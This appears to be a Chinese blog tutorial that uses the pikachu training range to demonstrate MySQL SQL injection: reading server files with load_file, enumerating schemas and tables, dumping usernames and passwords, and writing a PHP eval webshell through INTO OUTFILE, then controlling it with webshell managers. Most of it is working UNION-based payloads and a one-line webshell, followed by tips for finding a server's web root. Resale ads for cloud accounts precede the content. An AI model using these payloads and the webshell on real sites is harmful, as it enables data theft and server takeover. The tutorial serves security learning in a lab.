【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |
前言
本篇博客主要是通过piakchu靶场来讲解如何通过SQL注入漏洞来写入文件读取文件。通过SQL输入来注入木马来getshell等讲解了比较详细的过程
如果想要学习SQL注入原理以及如何进行SQL注入我也写了一篇详细的SQL注入方法及原理链接如下
一SQL注入读取文件或数据库数据
主要用pikachu靶场演示
1-1 读取文件数据
前提条件
## 1、通过信息收集获取到想要读取的目标文件的真实物理路径
## 2、mysql开启了secure_file_priv这个配置
如何开启mysql的secure_file_priv这个配置呢
找个空白地方协商这个配置即可
然后重启mysql服务即可生效。
读取文件借助mysql自带的功能函数load_file
比如我们先在根目录写一个文件aini.txt的文件
现在要读取这个文件 根路径为C:\tools\phpstudy\PHPTutorial\WWW
先用终端演示用物理机终端连上靶机的数据库
先授权在靶机打开数据库命令行
先输入密码进入数据库终端然后授权远程主机登录
授权代码行解释
grant all ---------- 表示给予所有权限
on x.x ----------- 所有库所有表
pikachu.*表示piakchu所有表pikachu.user表示只能操作pikachu库的user表
to root@192.168.31.% ------- 表示可以以root用户的身份在192.168.31段主机上登录
indentified by 'aini' 登录的验证密码为 'aini'
授权完就可以用物理机终端进入如果不想用物理机的也可以直接在靶机上操作
读取文件的代码用load_file函数别忘了用\对路径里的\进行转义
select load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");
测试union联合查询语句
select id,email from member where username = 'vince' union select 1,load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");
用网站SQL注入漏洞去注入 以pikachu靶场为例
payload为
vince' union select 1,load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");#
通过联合查询成功读取到了服务器文件
1-2 读取数据库数据
1-2-1 判断查询的字段个数
' order by 1,2,3--+ #报错表示字段个数小于3个那么减少一个字段来尝试
' order by 1,2--+ #不报错表示字段个数为2个如果还报错那么继续减少一个来尝试
' order by 1,2#
' order by 1,2,3#
payload为
vine' order by 1,2,3;#
表示位置的列数3表名3是多余的后端查询语句中不是三个字段那就改payload,改为如下
vince' order by 1,2;#
表示这个字符型注入的查询后台select语句后面查询的是2个字段数据那么我们就知道通过union联合查询的时候查询的数据是2个字段数据了。
1-2-2 查询当前数据库名、用户名、版本等信息
' union select user(),version();#
1-2-3 获取mysq所有库名
' union select 1,group_concat(schema_name) from information_schema.schemata;#
## 浏览器地址栏要URL编码表单直接#或者 -- 就可以
' union select 1,group_concat(schema_name) from information_schema.schemata;#
#和 -- mysql的注释符号 注意--前面有空格
1-2-4 获取pikachu库的所有表名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+
' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#
1-2-5 获取表中的字段名
' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273;#
1-2-6 获取所有字段数据
' union select 1,group_concat(id,0x7c,username,0x7c,password,0x7c,level,0x7c) from users;#
## 其中0x7c表示|我这里就是为了通过|来拼接每个数据。group_concat类似于concat也是做字符串拼接的是MySQL的一个内置函数
1-3 getshell
1-3-1 木马利用试验
1-1 准备木马
首先在站点根目录创建一个aini.php文件写入一句话木马
<?php @eval($_POST['aini']);?> ------ 注意里面写的 aini 是连接密码可以任意指定
1-2 用工具连接木马
## 菜刀、蚁剑、冰蝎、哥斯拉四大木马利用神器现在推荐冰蝎和蚁剑功能更好一些如果需要工具可以留言
用蚁剑 进行连接
注意连接密码是写一句话木马的时候 指定的连接密码
写好了以后点击测试连接然后点击右上角添加即可
双击就就可以成功拿到对方服务器了
右击还有很多别的功能数据库操作文件操作等不细讲了
以后专门写一篇博客介绍这些一句话木马利用工具的利用过程
接下来用菜刀这款工具使一下
右击添加也行编辑也行
填写地址和连接木马以后点右下角‘编辑’即可
双击就可以拿到对方服务器了
这就是一句话木马的简单利用
1-3-2 通过注入点进行木马注入
2-1 通过注入点写入木马程序的前提条件
1. mysql开启了secure_file_priv=""的配置 ---- 如何开启前面讲过了
2. 要知道网站代码的真实物理路径 ---------- 需要信息收集通过别的方法来直到真实路径
3. 物理路径具备写入权限 ----------- 要不然木马写不进去
4. 最好是mysql的root用户这个条件非必须但是有最好
2-2 通过注入点写入木马程序
' union select "<?php @xx($_POST['aini']);?>",2 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\muma.php";#
' union select "<?php @eval($_POST['aini']);?>",2 into outfile "C:\\tools\\phpStudy\\PHPTutorial\\WWW\\muma.php";#
## xx表示eval因为直接写eval我们的这个md文档会被杀软杀掉的。
我用第二条payload 向根路径写入了一个muma.php文件
报了个warning不过我们去看一下靶机根路径有没有写入成功
写入成功了
我们用工具利用一下看看
成功了所以在真实SQL注入环境中看看能不能通过注入一句户木马来控制目标主机
2-3 获得后台真实物理路径的方法
## 1、收集站点敏感目录比如phpinfo.php探针文件是否可以访问到
## 2、站点网址输入一些不存在的网址或者加一些非法参数数据让网站报错看错误信息中是否存在路径信息3、指纹信息收集
## nginx默认站点目录 /usr/share/nginx/html配置文件路径/etc/nginx/nginx.conf
## apache默认站点目录/var/www/html
...
## 4、通过站点其他漏洞来获取配置信息、真实物理路径信息比如如果发现远程命令执行漏洞(后面会讲到各种其他漏洞)针对php的站点直接执行一个phpinfo()函数可以看到phpinfo.php所展示的各种信息等等。
## 5、其他思路反正就是不断的尝试。
mysql数据库的SQL注入就分享到这里如果需要靶场环境或者工具可以留言
若有不懂的地方可以留言欢迎技术交流